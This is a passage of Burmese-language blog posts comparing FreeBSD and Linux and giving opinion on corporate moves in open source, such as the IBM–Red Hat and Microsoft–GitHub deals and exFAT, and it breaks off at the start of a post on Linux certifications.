အကြောင်း](https://www.itmatic101.com/2018/08/04/sysv-to-systemd/)ရေးတုန်းကလည်း စာရေးသူအဲ့ဒါတွေကို ချပြဆွေနွေးခဲ့ပါတယ်။ ဒီနေရာမှာ သင်ယူစရာကတော့ feature တစ်ခု၊ tool တစ်ခုကောင်းရင် ကောင်းတယ်ဆိုတာလက်ခံပြီးတော့ လိုအပ်တဲ့ change အပြောင်းအလဲ တွေဟာ Linux ecosystem တစ်ခုလုံးအတွက် တော်တော်လေးအရေးပါတယ်ဆိုတာပါပဲ။ linux.conf.au 2019 မှာ Benno Rice ကတော့ systemd ဟာ open source kernel တွေအတွက် တစ်ခုတည်းသော SysV replacement မဖြစ်သင့်ဘူး၊ ထိုနည်းတူ သို့မဟုတ် အဲ့ဒီထက်ကောင်းတဲ့ အရာတွေကို ချဲ့ထွင်ဖို့ကို စဉ်းစားသင့်တယ်ဆိုပြီးတော့ ပြောသွားပါတယ်။ လက်ရှိအချိန်ထိလည်း FreeBSD သမားတွေဟာ BSDကို အရှိတိုင်းထားရင် မဖြစ်တော့ဘူးဆိုတာကို သိထားပုံရပါတယ်။ systemd ကိုတော့ လုံးဝလက်ခံထားပုံမရပါ။ အဲ့လောက်ဆိုရင် open source ကမ္ဘာက ရှေးရိုးစွဲသမားတွေ ဘယ်လောက်တောင် ခေါင်းမာပြီးတော့ တခြားသောသူဆီက အပြောင်းအလဲစတင်မျိုးခြင်းကို မလိုလားဘူး ဆိုတာထင်ရှားပါတယ်။

### FreeBSD ကပြောတဲ့ BSD အကြောင်း

လက်ရှိ BSD လို့ပြောလိုက်ရင် FreeBSD နဲ့ FreeBSD Foundation ကိုတွဲပြီးမြင်နိုင်ပါတယ်။ BSD ကို open source အသွင်ပြောင်းဖို့ Berkeley က FreeBSD community ထံမှာအပ်ပါတယ်။ BSD ကို အသက်ဆက်လိုတဲ့ သဘောလို့ထင်ပါတယ်။ အချိန်အားဖြင့်တော့ အနည်းငယ် နောက်ကျသွားခဲ့ပေမယ့် BSD code base ကိုဆက်ပြီးတော့ သုံးလို့ရတာနဲ့ community အသွင်ကိုပြောင်းယူလိုက်ပါတယ်။ တပြိုင်တည်းမှာပဲ Linux နဲ့ အရှိန်ကလည်းရ၊ သုံးတဲ့လူလည်းများတာနဲ့ FreeBSD ဟာလည်းထင်သလောက်ခရီးမပေါက်ခဲ့ပါဘူး။ သို့သော် FreeBSD သမားတွေဆီ မှာတော့ ဘာဖြစ်လို့ အဲ့ဒီခရီးမပေါက်ခဲ့သလဲ ဆိုတာတွေကို ရှင်းပြစရာရှိနေပါတယ်။ FreeBSD သမားတွေ ပြောတဲ့ အချက် ၂ ချက် ၃ချက်လောက်ရှိပါတယ်။ ပထမတစ်ခုက Linux ဟာ FreeBSD ထက်ပိုပြီးတော့ လူသိများရတာဟာ Linux က သူ့ branding ကို marketing မှာ အချိန်ပေးပြီးတော့ promote လုပ်တာပိုများပြီးတော့ FreeBSD ကတော့ code ဘက်မှာ ပိုပြီးတော့ သပ်ရပ်အောင် သေချာအောင်လုပ်ရတဲ့အတွက်ပါတဲ့။ နောက်တချက်က Linux ဟာ အပြင်က စီးပွားဖြစ် project တွေရဲ့ ထောက်ပံ့အားနဲ့ market ထဲမှာ လူတွေကြား ထိုးဖောက်နိုင်ခဲ့တယ်လို့လည်းဆိုပါတယ်။ ဥပမာ RHEL လို project တွေက open source ထဲမှာပါသော်လည်း Linux ကို အခြေပြုပြီးတော့ monetization ကို ရအောင်လုပ်သွားတဲ့ အထဲမှာ ပထမဆုံးဖြစ်ပြီးတော့ marketing နဲ့ promote ဘက်မှာတော်တော်လေးကို အလေးထား ခဲ့တဲ့ Linux ရဲ့external project တစ်ခုပါ။ နောက်ဆုံးတစ်ချက်ကတော့ BSD က lawsuit တွေနဲ့ ရင်ဆိုင်နေရလို့ တိုးတက်အား နှေးခဲ့ရတဲ့အတွက် Linux ကကျော်သွားတာလို့လည်း ဆိုလိုရင်း အဓိပ္ပာယ်ထွက်ပါတယ်။ ဒါ့အပြင် FreeBSD က Linux ထက်ဘာဖြစ်လို့ပိုကောင်းသလဲ၊ လုံခြုံစိတ်ချရသလဲဆိုတာတွေကိုလည်း အချက်ကျကျရှင်းပြပါတယ်။ အကျဉ်းချုပ်အားဖြင့်တော့ FreeBSD မှာ code base ကို ထိန်းချုပ်ဖို့အတွက် contributor၊ committer နဲ့ core team ဆိုပြီးတော့ ရှိပါတယ်။ Linux မှာတော့ နည်းနည်း ဗရမ်းဗတာ ဆန်တယ်၊ လူတိုင်း commit လုပ်လို့ရတယ်လို့လည်း ဆိုပါတယ်။ နောက်ပြီးတော့ performance မှာလည်း FreeBSD က ကျစ်လစ်မူရှိတာကြောင့် ပိုပြီးတော့ ပေါ့ပါးတယ်လို့လည်း ဆိုပါတယ်။ ချွင်းချက်လေးတွေတော့လည်းရှိနိုင်ပါတယ်တဲ့။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-a51e5e4bec63fd17e6332205814d921a4b78a196%2F3-Reasons-to-use-FreeBSD-1024x461.png?alt=media" alt=""><figcaption></figcaption></figure>

မည်သို့ပင်ဖြစ်စေကာမူ user friendly ဖြစ်တဲ့ အပိုင်းနဲ့ အသုံးပြုရတဲ့ အပိုင်းမှာတော့ Linux ကလက်ရှိမှာ FreeBSD ထက်သာတယ်ဆိုတာတော့ မငြင်းနိုင်ပါဘူး။ FreeBSD ကအားသာတဲ့ တချို့အချက်တွေတော့လည်း ရှိပြန်ပါတယ်။ ဥပမာ FreeBSD ကနေဆင်းလာတဲ့ FreeNAS လိုမျိုး storage အတွက် အထူးထုတ်ထားတဲ့ platform ဆိုရင် တော်တော် stable ဖြစ်တယ်။ Feature အပိုင်းမှာလည်း ZFS လို file system အလန်းစားလေးတွေက FreeBSD ဘက်မှာတော်တော်လေး ရေပန်းစားနေတာကြာပါပြီ။ နောက်ပြီးတော့ networking ဘက်မှာဆို Firewall ပုံစံမျိုးသုံးလို့ရအောင်လို့ pfSense တို့ OPNsense တို့ဆိုတဲ့ FreeBSD ကဆင်းသက်လာတဲ့ variants တွေရှိပါတယ်။ စာရေးသူကိုယ်တိုင် pfSense နဲ့ OPNsense လို firewall တွေကို သုံးကြည့်တာ တော်တော်လေးကောင်းပြီးတော့ အဆင်ပြေနေတာကို တွေ့ရပါတယ်။ လက်ရှိမှာတော့ pfSense ကို Netgate ဆိုတဲ့ networking vendor တစ်ခုက ဝယ်လိုက်လို့ ကောင်းတဲ့ feature အသစ်တွေကို pfSense ရဲ့ community edition မှာ သိပ်ပြီးတော့ မတွေ့ရတော့ပါဘူး။ OPNsense ကတော့ pfSense ကို Netgate ကဝယ်လိုက်လို့ fork လုပ်သွားတဲ့ open source project နောက်တစ်ခုပါ။ OPNsense က OPN ဆိုတာကတော့ open ကိုဆိုလိုတာပါ။ အခုနောက်ပိုင်းတော့ OPNsense ကပိုပြီးတော့ feature ပိုများပြီးတော့ user interface မှာပိုပြီးတော့ ရှင်းတာကိုလည်းတွေ့ရပါတယ်။ ဒါတွေကိုကြည့်ခြင်း အားဖြင့် FreeBSD ဟာ specialized product တွေမှာ ပိုပြီးတော့ အခြေကျနေပါတယ်။ Linux ကတော့ ကိုယ်ဘာသုံးချင်သလဲဆိုတဲ့ အပေါ်မှာ မူတည်ပြီးတော့ ကိုယ်ကြိုက်သလို သုံးလို့ရတဲ့ OS တစ်မျိုးပါ။ Linux ဟာ Swiss Army knife နဲ့ တူပြီးတော့ FreeBSD ကတော့ Butter knife နဲ့တူပါတယ်။ ကိုယ်အသုံးပြုလိုတဲ့ ပုံစံပေါ်မူတည်ပြီးတော့ သုံးရတဲ့ ပုံစံကွာသွားပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-146813cc7fe0892f41d6354250b0216cfef9b788%2FOPNsense-768x217.jpg?alt=media" alt=""><figcaption></figcaption></figure>

BSD အကြောင်းတွေလည်း post နှစ်ခုမှာရေးတာ တော်တော်လည်း ပြည့်စုံပြီလို့ ထင်ပါတယ်။ လေ့လာသင်ယူတဲ့ သင်ခန်းစာကတော့ BSD ဟာ အပြောင်းအလဲတွေကြားမှာ ဗျာများပြီးတော့ အချိန်နဲ့ တပြေးညီ မလိုက်လာခဲ့ပါဘူး။ Development မှာလည်း အကြောင်းအမျိုးမျိုးကြောင့် ကြံ့ကြာ နေခဲ့ပါတယ်။ Platform တစ်ခုအနေနဲ့ ကြည့်မယ်ဆိုရင်တော့ solid ဖြစ်တဲ့ OS တစ်ခုပါ။ စာရေးသူ အနေနဲ့ လက်ရှိရှိသမျှ ကိုယ်အသုံးပြုနေတဲ့ lab တွေ၊ test တွေ၊ production တွေမှာ Linux အစား FreeBSD ပြောင်းသုံးဆိုရင်တော့ မဖြစ်နိုင်ပါ။ BSD ဘက်ကကောင်းတဲ့ specialized product တွေဖြစ်တဲ့ FreeNAS တို့ pfSense တို့ OPNsense တို့ သုံးဆိုရင်တော့ စာရေးသူ မငြင်းနိုင်ပါ။ နောက်ပိုင်းမှာ ခြေလှမ်းကြဲလာတဲ့ Linux ကိုတော့ FreeBSD လိုက်နိုင်ဖို့တော့ အချိန်တော်တော်ပေးရအုံးမှာပါ။ သူလည်း open source / free software မို့ စာရေးသူ စိတ်ဝင်စားရပါသည်၊ ရင်ခုန်ရပါသည်၊ စောင့်မျှော်ကြည့်ချင်ပါသေးတယ်။ ရေချောင်းငယ်တစ်ခုလိုသာ open source ကထုတ်ကုန်တွေနဲ့ open source solution တွေကြားမှာ စာရေးသူ တသွင်သွင်စီးဆင်းရင်း ဒီ post ကို ဒီမှာပဲရပ်လိုက်ပါတော့မယ်။


# လေထုညစ်ညမ်းစပြုလာတဲ့ Linux ရဲ့ Ecosystem

ဒီနှစ်ထဲ (၂၀၁၉ ခုနှစ်) မေလ ၇ရက်နေ့ကနေ ၉ရက်နေ့ထိ လုပ်သွားတဲ့ Red Hat Summit 2019 မှာပြောသွားတဲ့ ဖြစ်သွားတဲ့ အကြောင်းအရာတွေကို အခြေခံပြီးတော့ ထင်သာမြင်သာရှိတဲ့ open source နဲ့ Linux တို့ရဲ့ ဦးတည်ရာကို အနည်းငယ် သုံးသပ်ကြည့်ချင်ပါတယ်။ အခုနောက်ပိုင်း open source မှာဖြစ်နေတဲ့ သတင်းတွေကြားလိုက်ရတိုင်း Linux Foundation နဲ့ ဘယ် corporation ကြီးတွေ အတူတူတွဲလုပ်မည့် project တွေအကြောင်းနဲ့ proprietary တွေက ဘယ် open source မှာတွင်တွင်ကျယ်ကျယ်သုံးတဲ့ platform တွေကိုဘယ်လောက်ပေးပြီးတော့ ဝယ်လိုက်တယ်ဆိုတာကြီးပဲ။ open source community ဘက်က မကြိုက်သော်လည်း ရှိတဲ့ဟာလေးတွေနဲ့ ရအောင်ဆက်ပြီးတော့ မဖြစ်ဖြစ်အောင်ကြံဖန်ပြီးတော့ ဆက်သွားနေရပုံရပါတယ်။ စာရေးသူ အနေနဲ့ open source နဲ့ proprietary တွေ အခုလို အုတ်ရောရော ကျောက်ရောရော ဖြစ်လာတာမျိုးကို လက်မခံနိုင်တဲ့သဘောမျိုးမဟုတ်တောင် သိပ်တော့လည်း ဘဝင်မကျပြန်ပါဘူး။ အထူးသဖြင့် နောက်ပိုင်း open source/ free software project တွေမှာ တွေ့နေရတဲ့ အနေအထားလေးတချို့ကို စာရေးသူ သိသလောက်လေးနဲ့ သုံးသပ်ပြချင်ပါတယ်။ ဒီ post မှာ controversial ဖြစ်နိုင်တဲ့ အကျိုးအကြောင်း ဆင်ချင်သုံးသပ်တချို့ပါတဲ့ အတွက် ဒီစာကို ဖတ်တဲ့သူတိုင်းလက်ခံချင်မှ လက်ခံပါလိမ့်မယ်။ စာရေးသူ အနေနဲ့ တကိုယ်ရေ မိမိသိသလောက် အချက်အလက်လေးတွေကို စုစည်းပြီးတော့ ခိုင်ခိုင်လုံလုံဖြစ်အောင်တော့ အတတ်နိုင်ဆုံး ကြိုးစား ဆင်ချင်သုံးသပ်ပြချင်ပါတယ်။ ဒါအပြင် စာရေးသူ တကိုယ်ရေ တွက်ဆချက် တချို့လည်း ပါမှာမို့ ဖြစ်နိုင်တယ် မဖြစ်နိုင်ဘူး၊ မှားနိုင်တယ္ မမှာနိုင်ဘူးဆိုတာတော့ ဒီစာကို ဖတ်တဲ့ စာဖတ်သူတို့ရဲ့လက်ထဲမှာပဲ ထားလိုက်ပါတော့မယ်။ အချက်အလက်တွေကိုတော့ ကိုယ်တတ်နိုင်သလောက် ရှာဖွေပြီးတော့ တင်ပြတာဖြစ်တဲ့ အတွက် မလုံလောက်တာရှိနိုင်သလို၊ အနည်းငယ်ကွာဟ ချက်လေးတွေရှိနိုင်တာမို့ ကြိုပြီးတော့လည်း သတိပေးချင်ပါတယ်။ General public အတွက် အကြောင်းအရာ story နဲ့ ဖြစ်ရပ် event လေးတွေကို ပေါ့ပေါ့ပါးပါး ရေးခြင်းသာ ဖြစ်တဲ့အတွက် စာသင်ကျောင်းတွေမှာ assignment တင်တဲ့ ပုံစံမျိုး reference တွေ ဘာတွေ မထည့်တဲ့အတွက် စာရေးသူကို ပွေမယူစေလိုပါ။ ဘာ label မှ မတတ်ပဲ၊ ဘာ မှန်ဘီလူး မှမပါပဲနဲ့ လက်ဖက်ရည်ဆိုင်မှာထိုင်ပြီးတော့ ရိုးရိုးထိုင်အာတဲ့ ပုံစံမျိုးသွားရတာ ပိုပြီးတော့ စာမြိန်မယ်လို့ စာရေးသူထင်ပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-fb5d329a02976387cdf96ebac83117803d27ceba%2FRed-Hat-Summit-2019-1024x576.png?alt=media" alt=""><figcaption></figcaption></figure>

ဒီအကြောင်းလေးတွေကို စိတ်ထဲမှာ တွေးတောမိတာ ပြီးခဲ့တဲ့ နှစ်အနည်းပိုင်း အတွင်းမှာလို ဆိုရင်လည်း မမှားပါဘူး။ ကိုယ်နဲ့တိုက်ရိုက် မသက်ဆိုင်လို့ တချို့ open source project တွေဘယ်လို ပျောက်ကွယ်သွားသလဲဆိုတာ မသိနိုင်ပေမယ့်၊ အချို့ project တွေကို proprietary တွေ၊ big corporation ကြီးတွေ မည်သို့မည်ပုံ ဝါးမျိုးသွားသလဲဆိုတာတော့ မျက်မြင်ကိုယ်တွေ့လို့ ဆိုရမှာပါ။ စာရေးသူအတွက်တော့ open source / free software project တွေဟာ ကိုယ်ကြိုက်တဲ့အချိန်မှာ download ဆွဲပြီးတော့ စမ်းသပ် လေ့လာနိုင်လို့ နည်းပညာသင်ကြားမှု ဘက်မှာတော်တော်လေးကို အလုပ်ဖြစ်ပါတယ်။ ကိုယ်တိုင်က self-studying ပုံစံမျိုး ကို classroom training မျိုးထက် ပိုပြီးတော့ ကြိုက်တော့ တစ်ခုခုကိုလေ့လာချင်တယ် ဆိုရင် open source / free software project အနေနဲ့ alternative ရှိသလားဆိုတာကို အရင်ရှာတတ်ပါတယ်။ ဟိုတချိန်တုန်းက မိမိကိုယ်တိုင် Linux ရဲ့ Ecosystem နဲ့ open source project တွေဟာ ဘယ်လိုမျိုးလည်းဆိုတာ မသိလို့ နည်းပညာနဲ့ ပတ်သတ်တဲ့ အချို့အပိုင်းလေးတွေမှာ လေ့လာသင်ယူနိုင်မှု အားနည်းခဲ့ပါတယ်။ GNU/Linux ကိုစတင် လေ့လာခဲ့တဲ့ အချိန်ကစလို့ ကိုယ်တိုင်ကိုယ်ကျလေ့လာ နိုင်မှုအားကောင်းလာပါတယ်။ ဒါ့အပြင် Linux community နဲ့ open source community မှာ developer တွေ contributor တွေ ဘာလို့ အခကြေးငွေမယူပဲနဲ့ သူတို့အချိန်တွေ အများကြီး ပေးဆပ်နေနိုင်တာကိုလည်း စာရေးသူ ကောင်းကောင်းကြီးရိပ်စားမိလာပါတယ်။ အရာတိုင်းကို ငွေနဲ့ ပေးဝယ်လို့မရနိုင်ဘူး ဆိုတဲ့ သဘောကလည်း လယ်ပြင်မှာ ဆင်သွားသလို ထင်ရှားလို့နေပါတယ်။

ပြီးခဲ့တဲ့ နှစ်အကုန်ပိုင်းလောက်မှာလည်း မဆီမဆိုင် Microsoft က GitHub လို platform ကိုကောက်ကာငင်ကာ ဝယ်လိုက်ပြန်တော့ open source သမားတွေ တော်တော်လေး စိတ်ရှုပ်လိုက်ရပါသေးတယ်။ တချို့ဆို GitHub မှာ တင်ထားတဲ့ သူတို့ source code တွေနဲ့ repo တွေကို Microsoft ကင်းရှင်းရာ GitLab လို platform ကိုချက်ချင်းဆိုသလို ရွေ့ကြပြောင်းကြလုပ်လိုက်ကြပါတယ်။ အခြေခံအားဖြင့်တော့ Microsoft လို corporation က သူ့ရဲ့ code base ကို ဘယ်သူနဲ့မှ မ share ချင်လို့ အစကတည်းကမှ closed source လုပ်ထားခဲ့တဲ့ဟာ အခုအချိန်ကျမှ open source project တွေတော်တော်များများ အသုံးပြုတဲ့ GitHub ကိုကောက်ပြီးဝယ်လိုက်တော့ ဘယ်လိုနားလည်းပေးရပါ့မလဲ။ PR (Publicity Stunt) အရ media တွေအရှေ့မှာတော့ ပြားရည်ကို ကြံသကာ ကပ်ပြီးတော့ Microsoft ဘက်က မည်သို့ပင် ပြောပြော ဘယ်ဖြစ်လို့ ဝယ်လိုက်တယ်ဆိုတဲ့ အကြောင်းကတော့ ရှင်းပါတယ်။ စာရေးသူ အနေနဲ့ ကတော့ open source project တွေ ရဲ့ အပေါ်မှာ Microsoft ထိန်းချုပ်ချင်ပုံရပါတယ်။ open source သမားတွေရဲ့ နေနည်းထိုင်နည်း လုပ်ပုံကိုင်ပုံတွေဟာ Microsoft လို propriety တွေအတွက်တော့ စာရင်းချုပ်လိုက်ရင် အကျိုးအမြတ် မရှိတဲ့ ကိစ္စတွေမို့ ထွေထွေထူးထူး ချပြီးတော့တွက်စရာလိုမယ် မထင်ပါ။ သို့သော် Microsoft ရဲ့ အတိတ်ကို ပြန်ကြည့်လိုက်ရင် ဖြင့် DesktopStandard ကနေနဲ့ ဝယ်လိုက်တဲ့ PolicyMaker ရဲ့ component တွေတော်တော်များများဟာ အခုအချိန်မှာတော့ Microsoft ရဲ့ Group Policy Management Console (GPMC) ရယ်လို့သာ လူသိများပါတော့တယ်။ ဆိုလိုရင်းကရှင်းပါတယ် တချိန်ကျရင် Microsoft ရဲ့ banner အောက်မှာပဲ နောက်လူတွေ သိကြတော့မှာပါ။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-9e9325d95fd26b1300a8359a9f6fe481cd8af59b%2FGithub-Acquisition-1024x489.png?alt=media" alt=""><figcaption></figcaption></figure>

ဒီ post အစက Red Hat Summit 2019 အကြောင်းကို နည်းနည်းပြန်ပြီးတော့ ဆက်ချင်ပါတယ်။ Red Hat ကို IBM ကဘယ်လောက်နဲ့ ဝယ်လိုက်ပြီးပြီဆိုပြီးတော့ သတင်းထွက်လာပြီးမှ ဒီ event ဖြစ်တဲ့အတွက် IBM ရဲ့ chairman ဖြစ်တဲ့ Ginni Rometty ဆိုတဲ့ အမျိုးသမီး ကိုလည်း ဧည့်သည်အနေနဲ့ ဖိတ်ပါတယ်။ $34 billion နဲ့ နည်းပညာလောကထဲမှာ ဒုတိယ အကြီးဆုံးသော acquisition တစ်ခုဖြစ်တယ်လို့လည်း သိရပါတယ်။ IBM ရဲ့ Chairman Ginni Rometty က အဲ့ဒီ အရောင်းအဝယ် ကိစ္စအတွက်လည်း Red Hat နဲ့ open source သမားတွေကို စိတ်ပူစရာ မရှိဘူး၊ IBM အနေနဲ့ Red Hat ကို သီးသန့် ဆက်လက်ရပ်တည်စေမှာ ဖြစ်တယ်လို့ဆိုသွားပါတယ်။ အခြား ကိစ္စတွေကိုလည်း IBM ရဲ့ chairman က ရွန်းရွန်းဝေအောင်လို့ ပြောသွားတာကို တွေ့ရပါတယ်။ စိတ်ဝင်စားစရာ တစ်ခုက IBM ဘက်က Linux အကြောင်းကိုအများကြီး မပြောသွားပါဘူး။ Red Hat ဘက်ကလည်း IBM ဟာ open source သမိုင်းမှာ အစောဆုံး invest လုပ်ခဲ့တယ်လို့လည်း ဆိုသွားပါတယ်။ ထိုသို့ အပြန်ပြန်အလှန်လှန် ချီးကျူး ပြောဆိုပြီးနောက်မှာတော့ IBM ဟာ Red Hat ကို လက်ရှိအတိုင်း ဆက်လက်ရပ်တည်ခွင့်ပေးမှာဖြစ်ပြီးတော့ Enterprise Cloud Solution နဲ့ AI နည်းပညာတွေ ကို Red Hat နဲ့ ပူးပေါင်း လုပ်ဆောင်သွားမှာကိုလည်း ဆက်ပြောသွားပါတယ်။ အဲ့ဒီ Q\&A video ကိုကြည့်ချင်ရင်တော့ ဒီ [Link](https://www.youtube.com/watch?time_continue=641\&v=Dhp9mSdK4dU) မှာကြည့်လို့ရပါတယ်။

ပိုပြီးတော့ အံ့အားသင့်စေတဲ့ နောက်တစ်ခုကတော့ Microsoft ရဲ့ CEO Satya Nadella ကြီးကို ဒီနှစ်မှာ ဖိတ်ကြားလိုက်ပြီးတော့ Red Hat က Q\&A session တစ်ခုလုပ်ပါတယ်။ အဓိက ကတော့ Red Hat ရဲ့ OpenShift နဲ့ Microsoft ရဲ့ Azure အကြောင်းတွေ ကိုနည်းနည်း မိတ်ဆက်ရင်းနဲ့ Microsoft က open source မှာ ဘယ်လောက်တောင် နေရာယူလာသလဲဆိုတာကို ပြတာပါပဲ။ Red Hat ရဲ့ CEO လည်း စစချင်းမှာပဲ မတွေ့တာကြာပြီဖြစ်တယ်ဆိုတဲ့ အကြောင်း အခုလိုတွေ့ဖို့ကိုလည်း တွေးမထင်ထားဖြစ်တဲ့ အကြောင်းနဲ့ မိတ်ဆက်ပါတယ်။ အဲ့ဒီ Q\&A video အပြည့်အစုံကိုကြည့်ချင်တယ်ဆိုရင်တော့ ဒီ [Link](https://www.youtube.com/watch?v=7YYqJZIvw2U) မှာ ကြည့်လို့ရပါတယ်။ အကျဉ်းချုပ်လိုက်ရင်တော့ Cloud အကြောင်းတွေကို တော်တော်လေး ကျယ်ကျယ်ပြန့်ပြန့်ပြောသွားပါတယ်။ ဒီအချက်တွေကို တွက်ချက်ကြည့်လိုက်ရင်ဖြင့် Desktop PC နဲ့ Laptop ရဲ့ operating system ကိုအပြိုင်အဆိုင် လုပ်ရတဲ့ ခေတ်ကတဖြည်းဖြည်း ကျော်လွန်လို့လာပါပြီ။ အမြတ်အစွန်းများများနဲ့ overhead နည်းတဲ့ Cloud Computing ခေတ်ထဲကို တော်တော်လေး ထဲထဲဝင်ဝင်ရှိလာကြပြီဆိုတာရှင်းပါတယ်။ အပွင့်လင်းဆုံးပြောရရင်ဖြင့် အစကတည်း Desktop PC မှာ နေရာယူဖို့ကြိုးစားတဲ့ Microsoft ဟာ အခုအချိန်မှာ Cloud နဲ့ Data Center တွေမှာ အသုံးများတဲ့ Linux ဘက်ကို တဘက်ပြန်လှည့်ပြီးတော့ Marketing ဆင်းနေရပါတယ်။ Microsoft ဟာ mobile နည်းပညာ ဘက်မှာလည်း open source ရဲ့ အလဲထိုးခြင်းကို ခံခဲ့ ရပြီးတဲ့နောက်၊ အခုတခါ Cloud Computing အတွက် ကွင်းဆင်းပြီးတော့ ခံစစ်ယူနေရပါတယ်။ Microsoft ရဲ့ Azure platform မှာ service တော်တော်များများဟာ open source တနည်းအားဖြင့် Linux base တွေဖြစ်တာကိုလည်း Microsoft ဘက်ကငြင်းနိုင်မယ်လို့ မထင်ပါ။ နောက်တဆင့် တက်ဖို့အတွက်က အခုကတည်းက အရင်းအနှီး ရှိဖို့လိုတယ်ဆိုတာကို Microsoft ရဲ့ CEO Satya Nadella သိပုံရပါတယ်။ အခုလည်း Red Hat ရဲ့ OpenShift ဆိုတာ Containerization နည်းပညာကို Microsoft ရဲ့ Azure မှာ integration process အတွက် ကြိုးပမ်းခြင်းတာ ဖြစ်ပါတယ်။ အခုခေတ် Cloud နည်းပညာလို့ပြောလိုက်တာနဲ့ Containerization ဆိုတာကို သီးသန့်ဖယ်ထားလို့ ရတဲ့ ကိစ္စလည်း မဟုတ်ဘူးဆိုတာကို စာဖတ်သူတို့လည်း ရိပ်စားမိမယ်လို့ ထင်ပါတယ်။ ထိုထိုသော အရာတွေကို ထောက်ချင့်ခြင်း အားဖြင့် Microsoft ဘာလုပ်သလဲ၊ IBM ဘယ်သွားနေသလဲဆိုတာကို ထင်သာမြင်သာရှိမယ်လို့ထင်ပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-ec8f393cc1b55b3379a106b861da56714e0813a2%2FRed-Hat-Container-Stack-1024x532.png?alt=media" alt=""><figcaption></figcaption></figure>

အခုလည်း ပြီးခဲ့တဲ့ အပတ်ထဲမှာ Microsoft ဟာ exFAT ရဲ့ specification တွေကို အခြားသော open source platform တွေမှာ adopt လုပ်လို့ရအောင်လို့ patent ကို အနည်းငယ် ဖြေလျှော့ပေးမယ်ဆိုတဲ့ သတင်း ထွက်လာပါတယ်။ FAT filesystem ကို extend လိုက်ထားလို့ exFAT ဆိုပြီး ခေါ်တာပါ။ များသောအားဖြင့် exFAT ကို mobile နဲ့ portable video camera တွေမှာသုံးတဲ့ SD card အတွက်ပဲ တွင်တွင်ကျယ်ကျယ် အသုံးပြုပါတော့တယ်။ Linux နဲ့ BSD ရဲ့ filesystem တွေလောက် အစကတည်း မကောင်းပေမယ့်လည်း Microsoft ရဲ့ Public Stunt (PR) အတွက် open source community ကို သူတကယ် ပြောင်းလဲသွားပြီဆိုတာ ပြချင်တယ်လို့ထင်ပါတယ်။ သို့သော် specification ကို share တာဖြစ်ပြီးတော့ open source ကိုတော့ မထုတ်ပေးပါဘူး။ Linux နဲ့ BSD မှာတော့ FUSE လို solution တွေရှိပေမယ့်လည်း Microsoft ရဲ့ exFAT ကို specification မှာ မူတည်ပြီးတော့ open source community က adopt လုပ်မယ်လို့ လည်းသတင်းထွက်လာပါတယ်။ အချို့အတွက်တော့ FUSE က အသုံးပြုဖို့ရာ နည်းနည်းတော့ လက်ဝင်ပါတယ်။ ဘာဖြစ်လာမလဲဆိုတာကို ဆက်လက် စောင့်ကြည့်ရမှာဖြစ်ပါတယ်။ ပြောချင်တာက tech giant တွေဘက်က open source နဲ့ Linux ကိုချစ်သော်လည်း specification သာ share ပုံကို ထောက်ခြင်းအားဖြင့် PR အတွက်သာဖြစ်တယ်ဆိုတာရှင်းပါတယ်။ အပေါ်ယံကြည့်လိုက်ရင်ဖြင့် မျက်စိလည်ချင်စရာကြီးပါ။ Linux ဘက်မှာလည်း နည်းပညာအားဖြင့်ကောင်းပြီးတော့ funding ကောင်းကောင်း မရှိလို့ အင်အားချိနဲ့ လာတဲ့ VyOS လို့ project တွေလည်းရှိပါတယ်။ တဖတ်မှာလည်း Red Hat လို့ funding ကောင်းကောင်းနဲ့ Linux ကို monetization မှာ ကောင်းကောင်း အသုံးချပြီးတော့ Enterprise အတွက် Tech Giant ကြီးတွေနဲ့ ပူးပေါင်းသွားတဲ့ project တွေလည်း ရှိပါတယ်။ ကွာဟမှုကြီးလာတဲ့ open source community ဟာ စိုးရိမ်မူ ရေမျက်နှာပြင်အထက်သို့ တဖြည်းဖြည်းတက်လို့လာပါပြီ။ ဒီတခေါက်လည်း open source ဘက်က သက်လုံကောင်းဖို့လိုနေပါပြီ။ တချိန်က Novell လိုဖြစ်ရပ်မျိုး သမိုင်းမှာ နောက်တကြော့ပြန်အုံးမယ်လို့ ထင်ပါတယ်။ အားလုံးစိတ်ရှည်လက်ရှည်နဲ့ စောင့်ကြည့်ရအုံးမှာ ဖြစ်ပါတယ်။ ဒီလောက်နဲ့ပဲ ဒီ post ကိုရပ်လိုက်ပါတော့မယ်။


# အသုံးဝင်သော Linux Certification များအကြောင်း အပိုင်း (၁)

Linux certification တွေအကြောင်းရေးမယ်ဆိုတော့ ဘယ်လို certification တွေကပိုပြီး အသုံးဝင်သလဲဆိုတာနဲ့brand တွေကိုဘက်မလိုက်ပဲ အလုပ်ဖြစ်မယ့် certification တွေအကြောင်းစပြီးစုဆောင်းရပါတော့တယ်။ ဆိုပါတော့ Red Hat လို certification တွေက စာရေးသူအမြင်မှာတော့ ဘက်လိုက်သလို ခံစားရပါတယ်။ သူကတော့ သူ့brand ကို promote လုပ်ဖို့နဲ့ product ကြော်ငြာလုပ်ဖို့ကို certification exam တွေမှာ ထည့်သွင်းစဉ်းစားပါလိမ့်မယ်။ အဲ့ဒါဟာလည်း သဘာဝကျတယ်လို့ဆိုရမှာပါ။ Microsoft တို့Cisco တို့certification exam တွေဖြေခဲ့ဖူးတဲ့လူတိုင်းသိပါတယ်။ Certification တွေဟာ သူတို့ product တွေကို promote လုပ်ဖို့ကို ကြိုးစားကြပါတယ်။ ဥပမာ Cisco ရဲ့ CCNA certification ဆိုပါတော့… Cisco က Certification ဖြစ်တဲ့အတွက် Cisco ရဲ့ proprietary protocol ဖြစ်တဲ့ routing protocol တွေ အကြောင်းကိုသာ Chapter တိုင်းလိုလို ထည့်သွင်းမိတ်ဆက်ပေး ပြီးတော့ စာမေးပွဲမှာလည်း 